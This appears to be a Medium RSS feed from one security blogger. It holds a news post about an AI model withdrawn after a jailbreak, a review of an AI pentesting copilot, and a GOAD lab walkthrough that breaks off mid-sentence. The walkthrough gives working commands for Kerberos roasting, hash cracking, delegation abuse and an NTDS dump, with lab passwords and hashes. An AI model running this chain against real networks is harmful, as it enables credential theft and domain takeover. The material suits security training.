<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by UNS8ESHOW on Medium]]></title>
        <description><![CDATA[Stories by UNS8ESHOW on Medium]]></description>
        <link>https://medium.com/@uns8eshow?source=rss-a7b5d0dbae2c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8b39MFkJMWVt_f9QisnItw.jpeg</url>
            <title>Stories by UNS8ESHOW on Medium</title>
            <link>https://medium.com/@uns8eshow?source=rss-a7b5d0dbae2c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:43:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@uns8eshow/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Fable 5 Is Back — And the Way It Came Back Says More Than the Model Itself]]></title>
            <link>https://uns8eshow.medium.com/fable-5-is-back-and-the-way-it-came-back-says-more-than-the-model-itself-223046a9c105?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/223046a9c105</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Wed, 08 Jul 2026 14:12:47 GMT</pubDate>
            <atom:updated>2026-07-08T14:12:47.865Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vk7W96bUuMd0t2yr.png" /></figure><p>On July 1, 2026, Anthropic switched Claude Fable 5 back on for the whole world. If you blinked during the three weeks it was gone, you’d be forgiven for thinking this was just another model release cycle. It wasn’t. The story of <em>why</em> Fable 5 disappeared and <em>how</em> it came back is, for anyone who works in security, the more interesting artifact.</p><p>Here’s the short version, and then the part that actually matters.</p><h3>The timeline</h3><p>Anthropic launched Fable 5 on June 9 as its most capable generally available model — a “Mythos-class” model made safe enough for public use, with hard guardrails around cybersecurity, biology, and chemistry. Three days later, on June 12, the U.S. Department of Commerce hit both Fable 5 and its less-restricted sibling Mythos 5 with emergency export controls.</p><p>The order restricted access by foreign nationals, inside or outside the United States. Anthropic had no way to verify nationality in real time, so it did the only thing it could: it pulled the plug on both models for everybody. Globally. Including, reportedly, its own non-citizen staff.</p><p>Then came the back-and-forth. On June 26, the government let Anthropic restore Mythos 5 for a small set of vetted U.S. organizations defending critical infrastructure. On June 30, Commerce lifted the export controls entirely. On July 1, Fable 5 returned across Claude.ai, the Claude Platform, Claude Code, and Claude Cowork, with the big cloud providers to follow.</p><p>Nearly three weeks, start to finish. But the trigger is the part worth sitting with.</p><h3>It started with a jailbreak</h3><p>The whole cascade began with a single jailbreak. Amazon researchers found a prompt that got Fable 5 to bypass its safety rules — enough to flag some software flaws and, in one case, write code demonstrating how a flaw could be exploited.</p><p>If you’ve spent any time in offensive security, your first reaction is probably a shrug. Flagging vulnerabilities and writing a proof-of-concept is Tuesday. And Anthropic’s own account leans into exactly that: their testing showed weaker models — including their own Opus 4.8, GPT-5.5, and Kimi K2.7 — could produce the same findings and the same demonstration. In their framing, the flagged behavior was routine defensive security work, not some hidden super-capability.</p><p>The government and the reporting partner saw it differently. Serious enough to justify emergency controls on a commercial model. And that gap — between “this is normal pentesting” and “this is a national security event” — is the whole story.</p><h3>What’s different now</h3><p>Fable 5 didn’t come back unchanged. Anthropic shipped it with:</p><p>A <strong>dedicated classifier</strong> trained to catch the exact technique from the report. The company says it now blocks that technique in over 99% of attempts. When a request trips the safeguards, it gets routed to the weaker Opus 4.8 instead, and the user is told. The honest trade-off, which Anthropic acknowledges, is more false positives on legitimate coding and debugging work.</p><p>A <strong>24/7 jailbreak response team</strong> and a commitment to start deploying fixes the moment a severe jailbreak is confirmed — the kind that could enable attacks on power grids or banks.</p><p>A <strong>HackerOne program</strong> specifically for reporting new Fable 5 jailbreaks. If you hunt, that’s an open invitation.</p><p>And most consequentially, a proposed <strong>industry framework for scoring jailbreak severity</strong>, developed with Amazon, Microsoft, Google, and other partners. The draft criteria include capability gain, breadth of that gain, ease of weaponization, and discoverability.</p><p>That last one might outlive the model. We already have CVSS for software vulnerabilities — a shared language for arguing about how bad a given flaw is. We have nothing equivalent for LLM jailbreaks. Right now, “this jailbreak is severe” is a vibe, and a vibe was apparently enough to freeze a frontier model for three weeks. A shared scoring rubric is how you replace vibes with something you can actually litigate.</p><h3>Why this matters beyond one model</h3><p>Strip away the specifics and here’s what happened: a frontier AI release ran headfirst into national security review, and the deployment got shaped by it in real time. This wasn’t a product decision. It was a negotiation.</p><p>Anthropic isn’t alone here. Days before all this, OpenAI previewed GPT-5.6 to a small, government-approved group rather than the public — citing the same dual-use tension. A model good enough to help defenders patch bugs is, by definition, good enough to help attackers find them. There is no version of a capable security-relevant model that only does the defensive half.</p><p>For those of us in the field, that tension isn’t abstract. It’s the exact same knife we’ve always held. The difference is that the knife now scales, and governments have noticed. The Fable 5 episode is a preview of how the next several years of frontier releases will actually go: less “ship it and iterate,” more “clear it, gate it, and stand up a response team.”</p><h3>The takeaway</h3><p>Fable 5 is back, but not exactly as it left. It returns with tighter cyber safeguards, more government involvement, and a much clearer signal that the next phase of frontier AI won’t be decided by benchmarks alone. Performance still matters. But access, safety posture, and regulatory tolerance now matter just as much.</p><p>If you build with these models, plan for refusals as a normal response type, wire in fallbacks, and expect the guardrails to occasionally get in the way of legitimate work. If you break them, there’s now a bounty and a framework waiting for your report.</p><p>And if you just use them — the model’s back. Go build something.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=223046a9c105" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerAI (hackerai.co),]]></title>
            <link>https://uns8eshow.medium.com/hackerai-hackerai-co-f1b1cdd5c14c?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1b1cdd5c14c</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Sat, 04 Jul 2026 02:45:20 GMT</pubDate>
            <atom:updated>2026-07-04T02:45:20.308Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackerAI (hackerai.co), Explained: The PentestGPT-Powered Copilot That Sits Between a Consultant and an Operator</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*ZulIqiuY3_YjQQ7f.png" /></figure><p>If you’ve been in offensive security for more than five minutes, you’ve watched “AI pentesting” balloon from a single ChatGPT-in-a-sidebar demo into a crowded, noisy market. Most of it is wrappers with a landing page and a waitlist. <strong>HackerAI at hackerai.co is not one of the wrappers</strong> — and understanding why says a lot about where AI-assisted pentesting actually is right now.</p><p>Here’s the honest breakdown.</p><h3>What it actually is (and its real lineage)</h3><p>HackerAI is an AI-powered penetration testing assistant that helps you scan targets, exploit vulnerabilities, analyze findings, and write reports faster. But the part most write-ups miss is its pedigree: <strong>this is the project behind PentestGPT / HackerGPT.</strong> The X account is @PentestGPT, the open-source core lives at github.com/hackerai-tech, and the web chat runs at chat.hackerai.co.</p><p>That matters. PentestGPT was one of the tools that <em>started</em> the AI-pentesting conversation. So hackerai.co isn’t a fresh GPT skin — it’s the productized, hosted evolution of one of the more battle-tested assistants in this space, trained heavily on bug bounty reports, HackerOne disclosures, and real security research.</p><h3>The two tiers, and why the distinction is everything</h3><p>This is where people form the wrong impression of the tool, because the free and paid experiences are genuinely different products:</p><p><strong>Free tier</strong> — AI chat plus web search. This is the “consultant in a chat box” experience: ask it about a CVE, get an OWASP Top 10 testing checklist, have it draft a finding, request payloads and command syntax for nmap, ffuf, or sqlmap. It reasons and advises. It does <strong>not</strong> touch your targets.</p><p><strong>Pro tier</strong> — unlocks <strong>Agent Mode</strong>: a built-in terminal that lets the AI actually <em>execute</em> commands, backed by real tooling. This is the part that surprises people who only tried the free version. In Agent Mode, HackerAI can:</p><ul><li>Run <strong>full Linux shell commands in an isolated sandbox</strong> with file storage — safe to experiment in.</li><li>Use <strong>built-in scanners</strong> for port scanning, subdomain discovery, and vulnerability checks.</li><li>Drive a <strong>headless browser</strong> that takes screenshots and interacts with forms, so it can poke at dynamic web apps.</li></ul><p>In other words: on the free tier it <em>talks</em>; on Pro it <em>does</em> — inside a sandbox, with you supervising. It’s available as a web app and as desktop builds for Windows, macOS, and Linux.</p><h3>Operational style: consultant reflexes, operator tooling, still not an autopilot</h3><p>Here’s the framing that actually fits.</p><p>HackerAI behaves like a <strong>sharp consultant that happens to have hands</strong>. It’s excellent at the cognitive-load work: summarizing scan output, explaining <em>why</em> a vulnerability exists, recalling an obscure CVE faster than you’d Google it, generating payloads, and handing a junior tester a clean list of what to try next. It’s aimed squarely at consultants and teams who need to move through engagements faster — recon, evidence collection, and reporting are exactly the repetitive parts it automates.</p><p>What it is <em>not</em> is a <strong>fully autonomous agent</strong> that drives an entire engagement end-to-end and validates every finding through real exploitation on its own. That’s a different class of tool — think of the autonomous, multi-agent platforms posting HackerOne leaderboard finishes. HackerAI deliberately sits one notch back from that: a <strong>human-in-the-loop copilot</strong> that can execute, but expects you to steer.</p><p>And that positioning is a feature, not a weakness. If your team can’t confidently interpret what an autonomous agent spits out, a guided assistant you can supervise is the <em>safer</em> choice than turning a black-box agent loose on production. The catch is the same one every copilot has: when an engagement gets truly messy — a tool chain that dies three commands deep, a cryptic execution failure, a target that behaves nothing like the textbook — the improvisational, low-level grit still lives with the human operator. HackerAI shortens the path; it doesn’t walk it for you.</p><h3>Where it genuinely earns its keep</h3><ul><li><strong>Rapid first-pass recon and triage.</strong> Point it at a target, let it scan and summarize, and know where to focus before you burn real hours.</li><li><strong>Automated reporting.</strong> Turning raw findings into client-ready language — with impact and PoC sections — is the single most obvious time-saver, and it was trained on exactly this kind of material.</li><li><strong>A sounding board and tutor.</strong> It explains <em>why</em>, not just <em>what</em>, which is precisely what a junior tester learning the kill chain needs.</li><li><strong>Payloads and command recall.</strong> Reverse shells, encodings, tool syntax, CVE breakdowns — it compresses “go read six blog posts” into one prompt.</li></ul><h3>Where you keep your hands on the wheel</h3><ul><li><strong>Complex tool-chaining and execution failures.</strong> The moment things break at a low level, expect to take over.</li><li><strong>Contextual risk judgment.</strong> Business impact, blast radius, and “should we even touch this” are human calls, not model calls.</li><li><strong>Creative and novel exploitation.</strong> Unusual chains and lateral leaps are still where experienced testers outrun the assistant.</li><li><strong>Scope, ethics, and legality.</strong> Knowing when to <em>stop</em> is never delegated. And feed real client data into any hosted tool only after you’ve vetted it against your engagement rules — sandbox or not, it’s someone else’s cloud.</li></ul><h3>The bottom line</h3><p>HackerAI (hackerai.co) is best understood as <strong>PentestGPT grown up into a hosted copilot with a terminal</strong>. The free tier is a strong research-and-reporting consultant; the Pro Agent Mode gives that consultant a sandboxed pair of hands. It compresses the boring, high-friction parts of an assessment — recon triage, findings interpretation, reporting — so your attention goes to the parts that actually require a hacker’s mind.</p><p>Treat it like a fast, well-read junior operator: tireless, genuinely useful, occasionally overconfident, and in need of adult supervision when the terrain gets rough. Used that way, it’s a real accelerator. Used as an oracle you blindly trust, it’ll produce a beautifully formatted report about the wrong thing.</p><p>The future of pentesting isn’t human <em>or</em> AI. It’s a good operator with a good copilot — and knowing exactly where the copilot stops and the operator begins.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1b1cdd5c14c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GOAD — Multi-Domain Active Directory Attack Chain]]></title>
            <link>https://uns8eshow.medium.com/goad-multi-domain-active-directory-attack-chain-29ed8769f45c?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/29ed8769f45c</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 17:21:19 GMT</pubDate>
            <atom:updated>2026-07-03T17:21:43.044Z</atom:updated>
            <content:encoded><![CDATA[<h3>Executive summary</h3><p>The full offensive path across the GOAD (Game of Active Directory) lab — starting from a network-only foothold with zero credentials, ending with <strong>Enterprise Admin on the forest root</strong>.</p><p>The chain demonstrates the primitives most commonly seen in real-world internal engagements.</p><h3>Headline results</h3><p>Objective Status Independent paths documented</p><p>north.sevenkingdoms.local — DA ✅ Owned</p><p>sevenkingdoms.local — Enterprise Admin ✅ Owned</p><h3>Scope</h3><ul><li><strong>In scope:</strong> All hosts and services on 192.168.154.0/25 (5-host GOAD topology).</li></ul><h3>Lab environment</h3><p><strong>Topology</strong> — 3 domains across 2 forests, 5 Windows hosts, 1 attacker VM (Kali Linux).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQdC3lyZIhTr3nEj5MAVtA.png" /></figure><p>Host IP Role Domain kingslanding 192.168.154.10 Forest root DC sevenkingdoms.local winterfell 192.168.154.11 Child DC north.sevenkingdoms.local meereen 192.168.154.12 Standalone-forest DC + ESSOS-CA (AD CS) essos.local castelblack 192.168.154.22 Member server, MSSQL (sql_svc) north.sevenkingdoms.local braavos 192.168.154.23 Member server, MSSQL + Web Enrollment endpoint essos.local</p><p><strong>Trust relationships</strong></p><ul><li>north.sevenkingdoms.local is a child of sevenkingdoms.local (intra-forest parent-child trust — SID history honored).</li><li>essos.local is a separate forest (no trust — reached via MSSQL trusted link initially, then owned end-to-end via missandei AS-REP chain).</li></ul><h3>Attack chain at a glance</h3><p>NETWORK-ONLY FOOTHOLD (no creds)<br> │<br> ├─► north.sevenkingdoms.local<br> │ user list → AS-REP roast (brandon.stark)<br> │ → Kerberoast (jon.snow) → constrained delegation abuse<br> │ → S4U2Proxy CIFS/winterfell as Administrator<br> │ → DCSync → full NTDS ✅ NORTH DA + krbtgt<br> │<br> ├─► sevenkingdoms.local (forest root)<br> → krbtgt(north) → forge TGT + inject Enterprise Admins SID<br> → DCSync KINGSLANDING ✅ ENTERPRISE ADMIN</p><h3>Structure</h3><ol><li><strong>Foundational recon</strong></li><li><strong>north.sevenkingdoms.local compromise</strong></li><li><strong>Forest root takeover</strong></li></ol><h3>Network Recon &amp; Host Discovery</h3><p><strong>Goal:</strong> Map the lab, identify the 5 hosts, their roles, OS, and open services. Everything downstream depends on this. This is your foundation and it’s a clean, screenshot-rich first chapter.</p><p><strong>Live host discovery</strong></p><p>sudo nmap -sn 192.168.154.0/24</p><p><em>The ping sweep showing the live hosts.</em> You should see 5 boxes plus your own.</p><p><strong>Full port + service + OS scan on the discovered hosts</strong></p><p>sudo nmap -sC -sV -O -p- 192.168.154.10,11,12,22,23 -oA goad_fullscan</p><p>The -oA saves output in 3 formats — keep goad_fullscan.nmap for your report appendix.</p><p><em>The service/version output, especially the DCs showing Kerberos (88), LDAP (389/636), SMB (445), and the SQL servers showing 1433.</em></p><p><strong>Identify the domain controllers specifically</strong></p><p># DCs expose Kerberos on 88 — quick filter</p><p>sudo nmap -p 88 192.168.154.0/24 --open</p><p><em>Hosts with 88/tcp open = your DCs (kingslanding, winterfell, meereen).</em></p><p><strong>Pull domain/host naming via SMB</strong></p><p>nxc smb 192.168.154.0/24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7XEl45QmCQ6AZ3s2PFqqg.png" /></figure><p>(nxc = NetExec, the maintained CrackMapExec fork — preinstalled on current Kali. If you only have crackmapexec, use that.)</p><p><em>The SMB output showing hostnames, domains, OS, and SMB signing status.</em> This single screenshot is gold — it maps hostname→domain→IP in one shot.</p><p><strong>User enumeration via Kerberos (no creds needed)</strong></p><p>Kerberos pre-auth leaks valid usernames: the KDC responds differently for a username that exists vs one that doesn’t, <em>before</em> any password is checked. kerbrute weaponizes this. This gets you a validated user list when SMB/RID is locked — and it&#39;s unauthenticated.</p><p><strong>Step 1 — Get a username wordlist.</strong> GOAD users follow firstname.lastname (jon.snow, etc.). Two options — start with a generic list, but the better move is the known GOAD roster. Use a solid seclists name list against each domain:</p><p># Make sure kerbrute is installed</p><p>kerbrute isn&#39;t in the Kali apt repos — it&#39;s a standalone Go binary you grab from GitHub releases. Quick install:</p><p># Download the precompiled binary (latest release)</p><p>sudo curl -L -o /usr/local/bin/kerbrute &lt;https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64&gt;</p><p># Make it executable</p><p>sudo chmod +x /usr/local/bin/kerbrute</p><p># Verify</p><p>kerbrute version</p><p># Point at the root domain DC, sevenkingdoms.local</p><p>kerbrute userenum -d sevenkingdoms.local --dc 192.168.154.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o kerb_seven.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FPnNs7ykivrV1S8G9Q_aQ.png" /></figure><p>That’ll churn — it’s brute-forcing names. If you’d rather go fast and targeted (recommended for the lab), tell me and I’ll give you the curated GOAD user list to drop in a file instead, which validates in seconds.</p><p>Kerbrute’s [+] VALID USERNAME: lines — each one is a confirmed account in the domain.</p><p>The fast, complete way: feed kerbrute the <strong>known GOAD roster</strong>. Create the user file:</p><p>cat &gt; goad_users.txt &lt;&lt; &#39;EOF&#39; administrator vagrant jon.snow robb.stark eddard.stark catelyn.stark sansa.stark arya.stark brandon.stark rickon.stark hodor jeor.mormont samwell.tarly sql_svc tywin.lannister jaime.lannister cersei.lannister tyrion.lannister joffrey.baratheon robert.baratheon renly.baratheon stannis.baratheon petyer.baelish lord.varys maester.pycelle EOF</p><p>Then run it per-domain — and <strong>yes, you run it against each DC</strong>, because each domain has its own users:</p><p># sevenkingdoms.local (root)</p><p>kerbrute userenum -d sevenkingdoms.local --dc 192.168.154.10 goad_users.txt -o kerb_seven.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*F-gSTd3XksPJD3jhVnGNMA.png" /></figure><p># north.sevenkingdoms.local</p><p>kerbrute userenum -d north.sevenkingdoms.local --dc 192.168.154.11 goad_users.txt -o kerb_north.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*F-gSTd3XksPJD3jhVnGNMA.png" /></figure><p>Each validates in a couple seconds against this small list. Three clean per-domain rosters.</p><p><strong>AS-REP Roasting (zero creds → crackable hashes)</strong></p><p>The attack: accounts with <strong>“Do not require Kerberos preauthentication”</strong> set will have the KDC hand you an AS-REP encrypted with the user’s password hash — <em>without you proving anything</em>. You crack it offline. In GOAD, brandon.stark is the classic AS-REP target.</p><p>Build a combined user list first, then let impacket hunt it across the domain in one shot (the -request flag pulls hashes for any vulnerable account):</p><p># Combined list from what you validated (north has the AS-REP target)</p><p>cat &gt; north_users.txt &lt;&lt; &#39;EOF&#39; arya.stark jon.snow eddard.stark catelyn.stark robb.stark sansa.stark rickon.stark brandon.stark hodor jeor.mormont samwell.tarly sql_svc EOF</p><p># AS-REP roast north.sevenkingdoms.local — no creds needed</p><p>impacket-GetNPUsers north.sevenkingdoms.local/ -dc-ip 192.168.154.11 -usersfile north_users.txt -format hashcat -outputfile asrep_north.txt -no-pass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xa7IFRT1K7wl--9i_P8bZg.png" /></figure><p>The $krb5asrep$... hash that comes back.</p><p><strong>Crack the hash offline</strong></p><p>The $krb5asrep$23$ format is hashcat <strong>mode 18200</strong>. Crack it with rockyou:</p><p># Confirm the hash is saved</p><p>cat asrep_north.txt</p><p># Crack it — mode 18200 = Kerberos AS-REP</p><p>hashcat -m 18200 asrep_north.txt /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jkc1N3tiV6mR0e6dlzl-gw.png" /></figure><p>The cracked result line showing brandon.stark&#39;s cleartext password (hashcat prints it after the hash, or run hashcat -m 18200 asrep_north.txt --show once done).</p><p><strong>Authenticated Enumeration + BloodHound</strong></p><p>Now we use the cred to map the entire forest and find the path to DA. First validate it works, then collect the graph.</p><p><strong>Step 1 — Confirm the credential authenticates:</strong></p><p>nxc smb 192.168.154.11 -u brandon.stark -p &#39;iseedeadpeople&#39;</p><p>The [+] north.sevenkingdoms.local\brandon.stark success line.</p><p><strong>Step 2 — Run BloodHound collection</strong> with the cred:</p><p>The download path needs the real version tag. Pull it from the API:</p><p># Get the real latest x86_64 tarball URL and download it</p><p>URL=$(curl -s &lt;https://api.github.com/repos/g0h4n/RustHound-CE/releases/latest&gt; \ | grep &quot;browser_download_url.*Linux-gnu-x86_64.tar.gz\&quot;&quot; \ | cut -d &#39;&quot;&#39; -f 4)</p><p>echo &quot;$URL&quot; # sanity check it&#39;s a real github URL, not empty</p><p>curl -L -o rh.tar.gz &quot;$URL&quot;</p><p>tar xzf rh.tar.gz</p><p>sudo mv rusthound-ce /usr/local/bin/ &amp;&amp; sudo chmod +x /usr/local/bin/rusthound-ce</p><p>rusthound-ce --version</p><p>The echo &quot;$URL&quot; line matters — if it prints empty, the API call got rate-limited.</p><p>Run whichever, confirm rusthound-ce --version actually prints a version (not &quot;Not found&quot;), then we collect with:</p><p>rusthound-ce -d north.sevenkingdoms.local \ -u brandon.stark@north.sevenkingdoms.local -p &#39;iseedeadpeople&#39; \ -i 192.168.154.11 -n 192.168.154.11 -z</p><p>We might use the following (it didn’t work for me so I used rusthound)</p><p>nxc ldap 192.168.154.11 -u brandon.stark -p &#39;iseedeadpeople&#39; \ --bloodhound --dns-server 192.168.154.11 -c All</p><p>Or</p><p>bloodhound-python -u brandon.stark -p &#39;iseedeadpeople&#39; \ -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local \ -ns 192.168.154.11 -c All --zip</p><p>The collection finishing with a .zip written — that&#39;s your ingest file for BloodHound.</p><p>Now you need to install the bloodhound community to visualize the collected data:</p><p><a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">BloodHound Community Edition Quickstart — SpecterOps</a></p><p>Then launch it (watch out during install for the password you need it to log in):</p><p>./bloodhound-cli up</p><p>Then open http://127.0.0.1:8080 in your browser, log in as admin with that password (it&#39;ll force a reset on first login).</p><p>Once you’re in:</p><ol><li>Left menu → <strong>Administration → File Ingest</strong> (or the upload icon)</li><li>Drag in 20260624201311_north-sevenkingdoms-local_rusthound-ce.zip</li><li>Wait for it to process (progress shows in the UI)</li></ol><p>The ingest completing.</p><p><strong>Read the graph: find the path to Domain Admin</strong></p><p>Now the payoff. In the BHCE web UI:</p><p><strong>Step 1 — Mark brandon.stark as owned.</strong> Search the user (top search bar), type brandon.stark, click the node, and in the node panel click the <strong>⋮ / mark as Owned</strong> option. This tells BloodHound your starting foothold.</p><p>The node info panel showing brandon.stark’s details.</p><p><strong>Step 2 — Run the prebuilt path query.</strong> Left panel → <strong>Explore</strong> → switch the search mode to <strong>Cypher</strong> (or use the “Pathfinding” tab). Start with the built-in:</p><ul><li>Click the <strong>Pathfinding</strong> icon (the two-node icon near the search bar)</li><li><strong>Start node:</strong> brandon.stark@north.sevenkingdoms.local</li><li><strong>End node:</strong> DOMAIN ADMINS@north.sevenkingdoms.local</li></ul><p>Whatever path renders.</p><p><strong>Step 3 — If no direct path, run the Kerberoastable query.</strong> This is almost certainly your next hop in GOAD. Go to <strong>Explore → Cypher</strong> and paste:</p><p>MATCH (u:User {hasspn:true}) RETURN u</p><p>That lists every Kerberoastable service account in north. You’re looking for sql_svc — it&#39;s the classic GOAD pivot, and it&#39;s often a path to local admin on CASTELBLACK.</p><p>The Kerberoastable users.</p><p><strong>Kerberoasting</strong></p><p>You’re authenticated as brandon, so you can request service tickets (TGS) for any SPN account. The encrypted ticket is crackable offline → service account password.</p><p><strong>Step 1 — Request the roastable hashes</strong> with impacket, using brandon’s creds:</p><p>impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:&#39;iseedeadpeople&#39; \ -dc-ip 192.168.154.11 -request -outputfile kerberoast_north.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGLepPfMthPIBej3s310HQ.png" /></figure><p>The table of SPN accounts + the $krb5tgs$... hash blocks it dumps. sql_svc will be in there.</p><p><strong>Step 2 — Crack with hashcat</strong> (mode 13100 for Kerberoast TGS):</p><p>hashcat -m 13100 kerberoast_north.txt /usr/share/wordlists/rockyou.txt</p><p>The cracked jon.snow password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CISC9-J9TuEIxYYQmuTXMA.png" /></figure><p><strong>Step 2 — meanwhile, bank jon.snow.</strong> You’ve got a confirmed cred. Validate it and mark owned:</p><p>nxc smb 192.168.154.11 -u jon.snow -p &#39;iknownothing&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUl7U58BWnPHeLxjk5dqCg.png" /></figure><p>Then in BloodHound: search jon.snow@north.sevenkingdoms.local, mark <strong>owned</strong>, and run pathfinding jon.snow → DOMAIN ADMINS@north.sevenkingdoms.local. Given his constrained delegation, there may be a real path here.</p><p>So two threads now:</p><ul><li><strong>jon.snow</strong> — confirmed, has constrained delegation → likely escalation path. Validate + pathfind.</li><li><strong>sql_svc</strong> — needs rules to crack; it gives MSSQL code-exec on CASTELBLACK.</li></ul><p><strong>Scenario 7 — Constrained Delegation Abuse → DCSync → Domain Compromise</strong></p><p>jon.snow has constrained delegation with <strong>protocol transition</strong> (the GetUserSPNs output showed constrained on CIFS/thewall and HTTP/thewall). The classic abuse: use S4U2Self + S4U2Proxy to request a ticket <em>as Administrator</em> to a service on the target.</p><p><strong>Step 1 — Confirm the exact delegation targets and sync your clock.</strong> Kerberos is time-sensitive; sync to the DC first or tickets fail:</p><p>sudo ntpdate 192.168.154.11 2&gt;/dev/null || sudo rdate -n 192.168.154.11</p><p>We need the <strong>exact</strong> SPN jon.snow is allowed to delegate to. Two ways to get it — let’s pull it straight from the source rather than guess again:</p><p><strong>Option A — query jon.snow’s delegation attribute directly:</strong></p><p>nxc ldap 192.168.154.11 -u jon.snow -p &#39;iknownothing&#39; \ --query &quot;(samaccountname=jon.snow)&quot; &quot;msDS-AllowedToDelegateTo&quot;</p><p>Or with bloodyAD / ldapsearch style — but the cleanest is impacket’s findDelegation which lists it plainly:</p><p>impacket-findDelegation north.sevenkingdoms.local/jon.snow:&#39;iknownothing&#39; -dc-ip 192.168.154.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhrWz_zzf5Ui9WKHJVUbJQ.png" /></figure><p>It prints exactly which SPNs jon.snow can delegate to, in the AccountName / DelegationRightsTo columns. That&#39;s the authoritative answer.</p><p><strong>Option B — the BloodHound edge</strong> : click the AllowedToDelegate edge in your graph, it shows the target SPN and an abuse tab.</p><p>Whatever’s in DelegationRightsTo is the -spn value we plug in. It might be CIFS/winterfell.north.sevenkingdoms.local, or an HTTP SPN, or thewall with a different service — the findDelegation output settles it.</p><p>One more thing it determines: if the delegation type shows <strong>“Constrained w/o Protocol Transition”</strong> (not “w/ Protocol”), then S4U2Self won’t issue a forwardable ticket and we need a slightly different approach (an alternate impersonation trick). The findDelegation output tells us which. So this one command unblocks the exact attack.</p><p>CIFS on the DC = SMB access as Administrator = you can DCSync or directly dump secrets. This is full domain compromise.</p><p><strong>Step 1 — Request the impersonation ticket with the correct SPN:</strong></p><p>impacket-getST -spn &#39;CIFS/winterfell.north.sevenkingdoms.local&#39; \ -impersonate Administrator \ &#39;north.sevenkingdoms.local/jon.snow:iknownothing&#39; \ -dc-ip 192.168.154.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*A4r7U7p7bMNKPZ8kxJY4xw.png" /></figure><p>It should now say Requesting S4U2Proxy → Saving ticket in Administrator@CIFS_winterfell...ccache (success, no BADOPTION).</p><p><strong>Step 2 — Load the ticket into your environment:</strong></p><p>export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache</p><p># confirm it&#39;s loaded</p><p>klist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*MEmU4GoLbhIyE990CG35RQ.png" /></figure><p>(The exact filename is whatever getST printed — ls *.ccache to see it, then export that.)</p><p><strong>Step 3 — DCSync the domain using the Kerberos ticket</strong>:</p><p><strong>NetExec with the kerberos cache (didn’t work for me)</strong>:</p><p>nxc smb winterfell.north.sevenkingdoms.local --use-kcache -M ntdsutil</p><p>or pull the full NTDS:</p><p>nxc smb winterfell.north.sevenkingdoms.local --use-kcache --ntds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uz0fVc8MF3QNwYy1yO16qg.png" /></figure><ul><li>-use-kcache reads your KRB5CCNAME ticket directly. This often succeeds where the dev-build secretsdump chokes, and it dumps the entire NTDS.dit (every hash in the domain) in one shot.</li></ul><p>This dumps <strong>every NTLM hash in north.sevenkingdoms.local</strong></p><p><strong>north.sevenkingdoms.local is fully owned.</strong> 🏆 You dumped the entire NTDS — every hash in the domain, including the two that matter most:</p><ul><li><strong>Administrator:500:...:dbd13e1c4e338284ac4e9874f7de6ef4</strong> — domain admin</li><li><strong>krbtgt:502:...:df7b4dbbd52b190d7995ece000d7be1b</strong> — Golden Ticket material = permanent domain control</li></ul><p>That’s the full chain you just pulled off, zero creds to Domain Admin:</p><p>anonymous → AS-REP roast (brandon) → kerberoast (jon.snow) → constrained delegation abuse (CIFS/winterfell as Administrator) → DCSync/NTDS dump</p><p>Save the ntds file to your loot folder:</p><p>cp /root/.nxc/logs/ntds/WINTERFELL_*.ntds ~/goad-loot/</p><p>Notice the bonus in that dump: SEVENKINGDOMS$:1104 — that&#39;s the <strong>trust account for the parent 